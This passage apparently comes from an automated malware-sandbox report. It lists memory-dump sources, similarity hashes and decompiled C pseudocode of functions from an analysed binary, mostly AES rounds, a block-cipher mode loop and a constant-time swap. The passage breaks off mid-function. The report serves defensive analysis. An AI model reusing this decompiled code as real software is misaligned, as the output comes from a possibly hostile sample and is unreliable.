                                                                0x00ac16ca
                                                                0x00ac16cd
                                                                0x00ac16d0
                                                                0x00ac16dc
                                                                0x00ac16df
                                                                0x00ac16e2
                                                                0x00ac16e5
                                                                0x00ac16e8
                                                                0x00ac16eb
                                                                0x00ac16f7
                                                                0x00ac172d
                                                                0x00ac1734
                                                                0x00ac1737
                                                                0x00ac173a
                                                                0x00ac173d
                                                                0x00ac1740
                                                                0x00ac1743
                                                                0x00ac1746
                                                                0x00ac174c
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac1752
                                                                0x00ac1753
                                                                0x00ac178a
                                                                0x00ac178c
                                                                0x00ac178f
                                                                0x00ac1792
                                                                0x00ac1795
                                                                0x00ac1798
                                                                0x00ac179e
                                                                0x00ac17a1
                                                                0x00ac16f4
                                                                0x00ac16f4
                                                                0x00ac17a9
                                                                0x00ac17b0
                                                                0x00ac1576
                                                                0x00ac1576
                                                                0x00ac1576
                                                                0x00ac1570
                                                                0x00ac1564
                                                                0x00ac17c0

                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: c55ec42e37731b7a14bb140ff7fe4e7a6f44855d55ca4aaab8372080e5fa6381
                                                                • Instruction ID: 67b7fb15234acbb9947fb2713c0156a9d56eacb43d144cdef813ec2fd7003194
                                                                • Opcode Fuzzy Hash: c55ec42e37731b7a14bb140ff7fe4e7a6f44855d55ca4aaab8372080e5fa6381
                                                                • Instruction Fuzzy Hash: C1815775A10B669BD714CF2AC8C085AFBF1FB08310B528A2ED8A583B41D334F565DFA4
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 45%
                                                                			E00ABD960(void* __ebp, intOrPtr _a4, intOrPtr _a8, signed int _a12, signed int _a16, signed int _a20, signed int _a24, signed int _a28, signed int _a32, signed int _a36, signed int _a40, signed int _a44, signed int _a48, signed int _a52, intOrPtr* _a60, intOrPtr _a64, unsigned int _a68) {
                                                                				intOrPtr _v0;
                                                                				void* __ebx;
                                                                				void* __edi;
                                                                				void* __esi;
                                                                				signed int _t117;
                                                                				signed int* _t136;
                                                                				signed int* _t144;
                                                                				unsigned int _t152;
                                                                				signed int _t154;
                                                                				signed int _t165;
                                                                				intOrPtr _t178;
                                                                				unsigned int _t187;
                                                                				intOrPtr _t196;
                                                                				signed int _t197;
                                                                				signed int _t199;
                                                                				intOrPtr* _t200;
                                                                				unsigned int _t202;
                                                                				signed int _t205;
                                                                				signed int _t207;
                                                                				unsigned int _t209;
                                                                				void* _t214;
                                                                
                                                                				E00B8BB10(0x38);
                                                                				_t117 =  *0xbe5970; // 0xe6e1d076
                                                                				_a52 = _t117 ^ _t205;
                                                                				_t154 = _a68 >> 4;
                                                                				_t200 = _a60;
                                                                				_t196 =  *((intOrPtr*)(_t200 + 0x48));
                                                                				_t202 = 0;
                                                                				_a4 = _a64;
                                                                				_t178 = _t154 + _t196;
                                                                				asm("adc ebp, eax");
                                                                				_t197 = _t196 + 1;
                                                                				asm("adc eax, 0x0");
                                                                				_t152 =  *(_t200 + 0x4c);
                                                                				_a16 = _t154;
                                                                				_a8 = _t178;
                                                                				_a12 = 0;
                                                                				_t209 = _t152;
                                                                				if(_t209 > 0 || _t209 >= 0 && _t197 > _t178) {
                                                                					L11:
                                                                					_t199 = _a68 & 0x0000000f;
                                                                					if(_t199 > 0) {
                                                                						 *(_t200 + 0x6c) =  *(_t200 + 0x6c) ^  *(_t200 + 0x24);
                                                                						 *(_t200 + 0x68) =  *(_t200 + 0x68) ^  *(_t200 + 0x20);
                                                                						 *(_t200 + 0x74) =  *(_t200 + 0x74) ^  *(_t200 + 0x2c);
                                                                						 *(_t200 + 0x70) =  *(_t200 + 0x70) ^  *(_t200 + 0x28);
                                                                						_a20 = 0;
                                                                						_a24 = 0;
                                                                						_a28 = 0;
                                                                						_a32 = 0;
                                                                						E00B8B7A0(_t152, _t199, _t200,  &_a20, (_t154 << 4) + _a4, _t199);
                                                                						 *((char*)(_t205 + _t199 + 0x30)) = 0x80;
                                                                						_a36 =  *(_t200 + 0x68) ^ _a20;
                                                                						_a40 =  *(_t200 + 0x6c) ^ _a24;
                                                                						_a44 = _a28 ^  *(_t200 + 0x70);
                                                                						_a48 = _a32 ^  *(_t200 + 0x74);
                                                                						 *((intOrPtr*)( *_t200))( &_a36,  &_a20,  *((intOrPtr*)(_t200 + 8)));
                                                                						 *(_t200 + 0x78) =  *(_t200 + 0x78) ^ _a20;
                                                                						 *(_t200 + 0x7c) =  *(_t200 + 0x7c) ^ _a24;
                                                                						 *(_t200 + 0x80) =  *(_t200 + 0x80) ^ _a28;
                                                                						_t178 = _a8;
                                                                						_t205 = _t205 + 0x18;
                                                                						 *(_t200 + 0x84) =  *(_t200 + 0x84) ^ _a32;
                                                                					}
                                                                					 *(_t200 + 0x4c) = _t202;
                                                                					 *((intOrPtr*)(_t200 + 0x48)) = _t178;
                                                                					return E00B89C26(1, _t152, _a52 ^ _t205, _t178, _t199, _t200);
                                                                				} else {
                                                                					do {
                                                                						_t165 = _t197;
                                                                						_t187 = _t152;
                                                                						_v0 = 0;
                                                                						if((_t197 & 0x00000001) == 0) {
                                                                							do {
                                                                								_v0 = _v0 + 1;
                                                                								_t165 = (_t187 << 0x00000020 | _t165) >> 1;
                                                                								_t187 = _t187 >> 1;
                                                                							} while ((_t165 & 0x00000001) == 0);
                                                                						}
                                                                						_push(_v0);
                                                                						_push(_t200);
                                                                						_t136 = E00ABD530();
                                                                						_t207 = _t205 + 8;
                                                                						if(_t136 == 0) {
                                                                							return E00B89C26(0, _t152, _a52 ^ _t207, _t187, _t197, _t200);
                                                                						} else {
                                                                							goto L7;
                                                                						}
                                                                						goto L15;
                                                                						L7:
                                                                						 *(_t200 + 0x68) =  *(_t200 + 0x68) ^  *_t136;
                                                                						 *(_t200 + 0x6c) =  *(_t200 + 0x6c) ^ _t136[1];
                                                                						 *(_t200 + 0x70) =  *(_t200 + 0x70) ^ _t136[2];
                                                                						 *(_t200 + 0x74) =  *(_t200 + 0x74) ^ _t136[3];
                                                                						_t144 = (_t197 -  *((intOrPtr*)(_t200 + 0x48)) - 1 << 4) + _a4;
                                                                						_a20 =  *(_t200 + 0x68) ^  *_t144;
                                                                						_a24 =  *(_t200 + 0x6c) ^ _t144[1];
                                                                						_a28 = _t144[2] ^  *(_t200 + 0x70);
                                                                						_a32 = _t144[3] ^  *(_t200 + 0x74);
                                                                						 *((intOrPtr*)( *_t200))( &_a20,  &_a36,  *((intOrPtr*)(_t200 + 8)));
                                                                						 *(_t200 + 0x78) =  *(_t200 + 0x78) ^ _a36;
                                                                						 *(_t200 + 0x7c) =  *(_t200 + 0x7c) ^ _a40;
                                                                						 *(_t200 + 0x80) =  *(_t200 + 0x80) ^ _a44;
                                                                						 *(_t200 + 0x84) =  *(_t200 + 0x84) ^ _a48;
                                                                						_t202 = _a12;
                                                                						_t205 = _t207 + 0xc;
                                                                						_t197 = _t197 + 1;
                                                                						asm("adc ebx, 0x0");
                                                                						_t214 = _t152 - _t202;
                                                                					} while (_t214 < 0 || _t214 <= 0 && _t197 <= _a8);
                                                                					_t154 = _a16;
                                                                					_t178 = _a8;
                                                                					goto L11;
                                                                				}
                                                                				L15:
                                                                			}
























                                                                0x00abd965
                                                                0x00abd96a
                                                                0x00abd971
                                                                0x00abd97f
                                                                0x00abd983
                                                                0x00abd988
                                                                0x00abd98b
                                                                0x00abd98d
                                                                0x00abd996
                                                                0x00abd998
                                                                0x00abd99a
                                                                0x00abd99d
                                                                0x00abd9a0
                                                                0x00abd9a2
                                                                0x00abd9a6
                                                                0x00abd9aa
                                                                0x00abd9ae
                                                                0x00abd9b0
                                                                0x00abdab3
                                                                0x00abdab7
                                                                0x00abdaba
                                                                0x00abdac3
                                                                0x00abdacc
                                                                0x00abdacf
                                                                0x00abdad5
                                                                0x00abdae8
                                                                0x00abdaec
                                                                0x00abdaf0
                                                                0x00abdaf4
                                                                0x00abdaf8
                                                                0x00abdb03
                                                                0x00abdb17
                                                                0x00abdb22
                                                                0x00abdb2c
                                                                0x00abdb34
                                                                0x00abdb3e
                                                                0x00abdb44
                                                                0x00abdb4f
                                                                0x00abdb56
                                                                0x00abdb5c
                                                                0x00abdb60
                                                                0x00abdb63
                                                                0x00abdb63
                                                                0x00abdb6a
                                                                0x00abdb6d
                                                                0x00abdb86
                                                                0x00abd9c0
                                                                0x00abd9c0
                                                                0x00abd9c9
                                                                0x00abd9cb
                                                                0x00abd9cd
                                                                0x00abd9d5
                                                                0x00abd9e0
                                                                0x00abd9e0
                                                                0x00abd9e4
                                                                0x00abd9ef
                                                                0x00abd9f1
                                                                0x00abd9e0
                                                                0x00abd9f9
                                                                0x00abd9fa
                                                                0x00abd9fb
                                                                0x00abda00
                                                                0x00abda05
                                                                0x00abdb9b
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00abda0b
                                                                0x00abda0d
                                                                0x00abda13
                                                                0x00abda19
                                                                0x00abda1f
                                                                0x00abda31
                                                                0x00abda3a
                                                                0x00abda3e
                                                                0x00abda54
                                                                0x00abda5c
                                                                0x00abda66
                                                                0x00abda6c
                                                                0x00abda7b
                                                                0x00abda7e
                                                                0x00abda84
                                                                0x00abda8a
                                                                0x00abda8e
                                                                0x00abda91
                                                                0x00abda94
                                                                0x00abda97
                                                                0x00abda97
                                                                0x00abdaab
                                                                0x00abdaaf
                                                                0x00000000
                                                                0x00abdaaf
                                                                0x00000000

                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 6ad914695c58e258f3932037927fc3e6afbde5e88bd9a97b4240b36e85e6adaa
                                                                • Instruction ID: 8d9a9fe3cf16051fad6d19954c1878fb9f5ca4bdc7d5a3c9ca5cfe5be1a5a4cf
                                                                • Opcode Fuzzy Hash: 6ad914695c58e258f3932037927fc3e6afbde5e88bd9a97b4240b36e85e6adaa
                                                                • Instruction Fuzzy Hash: 2071B275A08B008FD358DF29C481A5BFBE5FFC8310F558A2EE59A87761E631E845CB42
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 90%
                                                                			E00ABFF80(signed int __eax, signed int __ebx, signed int __ecx, signed int __edx, signed int* __edi) {
                                                                				signed char _t100;
                                                                				signed int _t101;
                                                                				signed int _t106;
                                                                				signed int _t108;
                                                                				signed int _t110;
                                                                				unsigned int _t119;
                                                                				signed int _t120;
                                                                				unsigned int _t128;
                                                                				signed int _t153;
                                                                				signed int _t156;
                                                                				signed int* _t160;
                                                                				void* _t246;
                                                                				void* _t248;
                                                                				void* _t250;
                                                                
                                                                				 *(_t250 + 0x14) = __edi;
                                                                				_t100 = __eax ^  *__edi;
                                                                				_t108 = __ebx ^ __edi[1];
                                                                				_t119 = __ecx ^ __edi[2];
                                                                				_t128 = __edx ^ __edi[3];
                                                                				 *((intOrPtr*)(_t250 + 0x18)) = __edi + (__edi[0x3c] + __edi[0x3c] - 2) * 8;
                                                                				do {
                                                                					 *(_t250 + 4) =  *(_t246 + (_t100 & 0x000000ff) * 8) ^  *(_t246 + 3 + (_t128 & 0x000000ff) * 8) ^  *(_t246 + 2 + (_t119 >> 0x00000010 & 0x000000ff) * 8) ^  *(_t246 + 1 + (_t108 >> 0x18) * 8);
                                                                					 *(_t250 + 8) =  *(_t246 + (_t108 & 0x000000ff) * 8) ^  *(_t246 + 3 + (_t100 & 0x000000ff) * 8) ^  *(_t246 + 2 + (_t128 >> 0x00000010 & 0x000000ff) * 8) ^  *(_t246 + 1 + (_t119 >> 0x18) * 8);
                                                                					_t153 = _t108 & 0x000000ff;
                                                                					_t156 = _t100 >> 0x00000010 & 0x000000ff;
                                                                					_t120 = _t119 & 0x000000ff;
                                                                					_t110 = _t108 >> 0x00000010 & 0x000000ff;
                                                                					_t101 = _t100 >> 0x18;
                                                                					_t160 =  &(( *(_t250 + 0x14))[4]);
                                                                					_t100 =  *(_t250 + 4) ^  *_t160;
                                                                					_t108 =  *(_t250 + 8) ^ _t160[1];
                                                                					_t119 =  *(_t246 + (_t119 & 0x000000ff) * 8) ^  *(_t246 + 3 + _t153 * 8) ^  *(_t246 + 2 + _t156 * 8) ^  *(_t246 + 1 + (_t128 >> 0x18) * 8) ^ _t160[2];
                                                                					_t128 =  *(_t246 + (_t128 & 0x000000ff) * 8) ^  *(_t246 + 3 + _t120 * 8) ^  *(_t246 + 2 + _t110 * 8) ^  *(_t246 + 1 + _t101 * 8) ^ _t160[3];
                                                                					 *(_t250 + 0x14) = _t160;
                                                                				} while (_t160 <  *((intOrPtr*)(_t250 + 0x18)));
                                                                				_t248 = _t246 + 0x880 - 0x80;
                                                                				 *(_t250 + 4) =  *(_t248 + (_t100 & 0x000000ff)) & 0x000000ff ^ ( *(_t248 + (_t128 & 0x000000ff)) & 0x000000ff) << 0x00000008 ^ ( *(_t248 + (_t119 >> 0x00000010 & 0x000000ff)) & 0x000000ff) << 0x00000010 ^ ( *(_t248 + (_t108 >> 0x18)) & 0x000000ff) << 0x00000018;
                                                                				 *(_t250 + 8) =  *(_t248 + (_t108 & 0x000000ff)) & 0x000000ff ^ ( *(_t248 + (_t100 & 0x000000ff)) & 0x000000ff) << 0x00000008 ^ ( *(_t248 + (_t128 >> 0x00000010 & 0x000000ff)) & 0x000000ff) << 0x00000010 ^ ( *(_t248 + (_t119 >> 0x18)) & 0x000000ff) << 0x00000018;
                                                                				_t106 =  *(_t250 + 4);
                                                                				asm("adc [ebx], dh");
                                                                				_pop(es);
                                                                				return _t106;
                                                                			}

















                                                                0x00abff80
                                                                0x00abff84
                                                                0x00abff86
                                                                0x00abff89
                                                                0x00abff8c
                                                                0x00abff9c
                                                                0x00abffa0
                                                                0x00abffcb
                                                                0x00abfffa
                                                                0x00ac000a
                                                                0x00ac0016
                                                                0x00ac0037
                                                                0x00ac0043
                                                                0x00ac0051
                                                                0x00ac005c
                                                                0x00ac005f
                                                                0x00ac0061
                                                                0x00ac0064
                                                                0x00ac0067
                                                                0x00ac006e
                                                                0x00ac006e
                                                                0x00ac0096
                                                                0x00ac00d7
                                                                0x00ac0119
                                                                0x00ac019d
                                                                0x00ac01a9
                                                                0x00ac01ab
                                                                0x00ac01b5

                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 40a998b215707fbddb308fd1f2a4123efc998ac43f72f41c2de7b8f5ed9dde9e
                                                                • Instruction ID: 461521a060ea2ae2d6e204d4cef95cc8b4db1882b1b2be97796f815741604857
                                                                • Opcode Fuzzy Hash: 40a998b215707fbddb308fd1f2a4123efc998ac43f72f41c2de7b8f5ed9dde9e
                                                                • Instruction Fuzzy Hash: ED61A3339046BB5BDB649E6DD8401A9F7A2BFC4310F5B8A76DC9823642C234EA11DBD0
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 3fb40114186b8bd38015c621e979a7392c83a08e63974a8c4c5d01ece18a9f7f
                                                                • Instruction ID: e3ef434d106d853bd29f3247a91ce3dbcfffa550542524de677e04900bd0c060
                                                                • Opcode Fuzzy Hash: 3fb40114186b8bd38015c621e979a7392c83a08e63974a8c4c5d01ece18a9f7f
                                                                • Instruction Fuzzy Hash: 91511E326257BA46DBC3CA2DC45047EB7E1BE89206B45055BDCD0F3281C73EDA09B7A0
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 100%
                                                                			E00ABE8F0(signed int __eax, signed int __ebx, signed int __ecx, signed int __edx, signed int* __edi, void* __ebp, signed int _a4, signed int _a8, signed int* _a20, intOrPtr _a24) {
                                                                				unsigned int _t114;
                                                                				signed int _t115;
                                                                				signed int _t123;
                                                                				signed int _t124;
                                                                				signed char _t134;
                                                                				signed int _t135;
                                                                				unsigned int _t143;
                                                                				signed int _t173;
                                                                				signed int* _t176;
                                                                
                                                                				_a20 = __edi;
                                                                				_t114 = __eax ^  *__edi;
                                                                				_t123 = __ebx ^ __edi[1];
                                                                				_t134 = __ecx ^ __edi[2];
                                                                				_t143 = __edx ^ __edi[3];
                                                                				_a24 = __edi + (__edi[0x3c] + __edi[0x3c] - 2) * 8;
                                                                				do {
                                                                					_a4 =  *(__ebp + (_t114 & 0x000000ff) * 8) ^  *(__ebp + 3 + (_t123 & 0x000000ff) * 8) ^  *(__ebp + 2 + (_t134 >> 0x00000010 & 0x000000ff) * 8) ^  *(__ebp + 1 + (_t143 >> 0x18) * 8);
                                                                					_t124 = _t123 >> 0x10;
                                                                					_a8 =  *(__ebp + (_t123 & 0x000000ff) * 8) ^  *(__ebp + 3 + (_t134 & 0x000000ff) * 8) ^  *(__ebp + 2 + (_t143 >> 0x00000010 & 0x000000ff) * 8) ^  *(__ebp + 1 + (_t114 >> 0x18) * 8);
                                                                					_t135 = _t134 >> 0x18;
                                                                					_t173 = _t114 >> 0x00000010 & 0x000000ff;
                                                                					_t115 = _t114 & 0x000000ff;
                                                                					_t176 =  &(_a20[4]);
                                                                					_t114 = _a4 ^  *_t176;
                                                                					_t123 = _a8 ^ _t176[1];
                                                                					_t134 =  *(__ebp + (_t134 & 0x000000ff) * 8) ^  *(__ebp + 3 + (_t143 & 0x000000ff) * 8) ^  *(__ebp + 2 + _t173 * 8) ^  *(__ebp + 1 + (_t124 & 0x000000ff) * 8) ^ _t176[2];
                                                                					_t143 =  *(__ebp + (_t143 & 0x000000ff) * 8) ^  *(__ebp + 3 + _t115 * 8) ^  *(__ebp + 2 + (_t124 & 0x000000ff) * 8) ^  *(__ebp + 1 + _t135 * 8) ^ _t176[3];
                                                                					_a20 = _t176;
                                                                				} while (_t176 < _a24);
                                                                				_a4 =  *(__ebp + 2 + (_t114 & 0x000000ff) * 8) & 0x000000ff ^  *(__ebp + (_t123 & 0x000000ff) * 8) & 0x0000ff00 ^  *(__ebp + (_t134 >> 0x00000010 & 0x000000ff) * 8) & 0x00ff0000 ^  *(__ebp + 2 + (_t143 >> 0x18) * 8) & 0xff000000;
                                                                				_a8 =  *(__ebp + 2 + (_t123 & 0x000000ff) * 8) & 0x000000ff ^  *(__ebp + (_t134 & 0x000000ff) * 8) & 0x0000ff00 ^  *(__ebp + (_t143 >> 0x00000010 & 0x000000ff) * 8) & 0x00ff0000 ^  *(__ebp + 2 + (_t114 >> 0x18) * 8) & 0xff000000;
                                                                				return _a4 ^ _a20[4];
                                                                			}












                                                                0x00abe8f0
                                                                0x00abe8f4
                                                                0x00abe8f6
                                                                0x00abe8f9
                                                                0x00abe8fc
                                                                0x00abe90c
                                                                0x00abe910
                                                                0x00abe93b
                                                                0x00abe947
                                                                0x00abe96d
                                                                0x00abe979
                                                                0x00abe992
                                                                0x00abe9ab
                                                                0x00abe9ca
                                                                0x00abe9cd
                                                                0x00abe9cf
                                                                0x00abe9d2
                                                                0x00abe9d5
                                                                0x00abe9dc
                                                                0x00abe9dc
                                                                0x00abea2f
                                                                0x00abea7f
                                                                0x00abeb2b

                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 99376b587692ce240fa4f6e5ff9e9d674aa83cf96403c63a4b33a8538c00fd75
                                                                • Instruction ID: 34cf2012ea9c5c1135883eb48ee2c96f449d65cfd19e914d1f0d6668473768bf
                                                                • Opcode Fuzzy Hash: 99376b587692ce240fa4f6e5ff9e9d674aa83cf96403c63a4b33a8538c00fd75
                                                                • Instruction Fuzzy Hash: C9617C3791262B9BD761DF59D84627AB3A2EFC4360F6B8A358C0427642C734F9119AC4
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 42d113fb11f5d67af7d42cc83fe2ed468dff338936dc1334fd8bb1f7698a49c1
                                                                • Instruction ID: 0ede17908ecb3ccaf48efc8d174433cfcc7af92101de3291363333d74af714fc
                                                                • Opcode Fuzzy Hash: 42d113fb11f5d67af7d42cc83fe2ed468dff338936dc1334fd8bb1f7698a49c1
                                                                • Instruction Fuzzy Hash: 75510C266257BA46DBC7CA2DC45047EB7E1BE89206B45095BDCD0B3281C73EDA09B7A0
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 100%
                                                                			E00AC6B80(intOrPtr _a4, signed int** _a8, signed int** _a12, intOrPtr _a16) {
                                                                				signed int** _t71;
                                                                				signed int* _t72;
                                                                				intOrPtr _t73;
                                                                				signed int _t83;
                                                                				signed int _t90;
                                                                				signed int _t93;
                                                                				signed int _t94;
                                                                				signed int _t134;
                                                                				signed int* _t135;
                                                                				signed int _t139;
                                                                				signed int _t140;
                                                                				signed int _t142;
                                                                				signed int _t170;
                                                                				signed int** _t172;
                                                                				signed int* _t173;
                                                                
                                                                				_t71 = _a12;
                                                                				_t73 = _a16;
                                                                				_t172 = _a8;
                                                                				_t140 = _t172[1];
                                                                				_t90 = (_a4 - 1 >> 0x1f) - 1;
                                                                				_t93 = (_t71[1] ^ _t140) & _t90;
                                                                				_t172[1] = _t140 ^ _t93;
                                                                				_t71[1] = _t71[1] ^ _t93;
                                                                				_t94 = _t73 - 1;
                                                                				if(_t94 > 9) {
                                                                					_t142 = 0xa;
                                                                					if(_t73 > 0xa) {
                                                                						do {
                                                                							_t135 =  *_t172;
                                                                							_t83 = _t135[_t142];
                                                                							_t139 = (( *_t71)[_t142] ^ _t83) & _t90;
                                                                							_t135[_t142] = _t83 ^ _t139;
                                                                							( *_t71)[_t142] = ( *_t71)[_t142] ^ _t139;
                                                                							_t142 = _t142 + 1;
                                                                						} while (_t142 < _a16);
                                                                					}
                                                                					goto L6;
                                                                				} else {
                                                                					switch( *((intOrPtr*)(_t94 * 4 +  &M00AC6CDC))) {
                                                                						case 0:
                                                                							goto L15;
                                                                						case 1:
                                                                							L14:
                                                                							_t82 =  *_t172;
                                                                							_t167 = _t82[1];
                                                                							_t130 = (( *_t71)[1] ^ _t167) & _t90;
                                                                							_t82[1] = _t167 ^ _t130;
                                                                							( *_t71)[1] = ( *_t71)[1] ^ _t130;
                                                                							goto L15;
                                                                						case 2:
                                                                							L13:
                                                                							_t81 =  *_t172;
                                                                							_t164 = _t81[2];
                                                                							_t126 = (( *_t71)[2] ^ _t164) & _t90;
                                                                							_t81[2] = _t164 ^ _t126;
                                                                							( *_t71)[2] = ( *_t71)[2] ^ _t126;
                                                                							goto L14;
                                                                						case 3:
                                                                							L12:
                                                                							_t80 =  *_t172;
                                                                							_t161 = _t80[3];
                                                                							_t122 = (( *_t71)[3] ^ _t161) & _t90;
                                                                							_t80[3] = _t161 ^ _t122;
                                                                							( *_t71)[3] = ( *_t71)[3] ^ _t122;
                                                                							goto L13;
                                                                						case 4:
                                                                							L11:
                                                                							_t79 =  *_t172;
                                                                							_t158 = _t79[4];
                                                                							_t118 = (( *_t71)[4] ^ _t158) & _t90;
                                                                							_t79[4] = _t158 ^ _t118;
                                                                							( *_t71)[4] = ( *_t71)[4] ^ _t118;
                                                                							goto L12;
                                                                						case 5:
                                                                							L10:
                                                                							_t78 =  *_t172;
                                                                							_t155 = _t78[5];
                                                                							_t114 = (( *_t71)[5] ^ _t155) & _t90;
                                                                							_t78[5] = _t155 ^ _t114;
                                                                							( *_t71)[5] = ( *_t71)[5] ^ _t114;
                                                                							goto L11;
                                                                						case 6:
                                                                							L9:
                                                                							_t77 =  *_t172;
                                                                							_t152 = _t77[6];
                                                                							_t110 = (( *_t71)[6] ^ _t152) & _t90;
                                                                							_t77[6] = _t152 ^ _t110;
                                                                							( *_t71)[6] = ( *_t71)[6] ^ _t110;
                                                                							goto L10;
                                                                						case 7:
                                                                							L8:
                                                                							_t76 =  *_t172;
                                                                							_t149 = _t76[7];
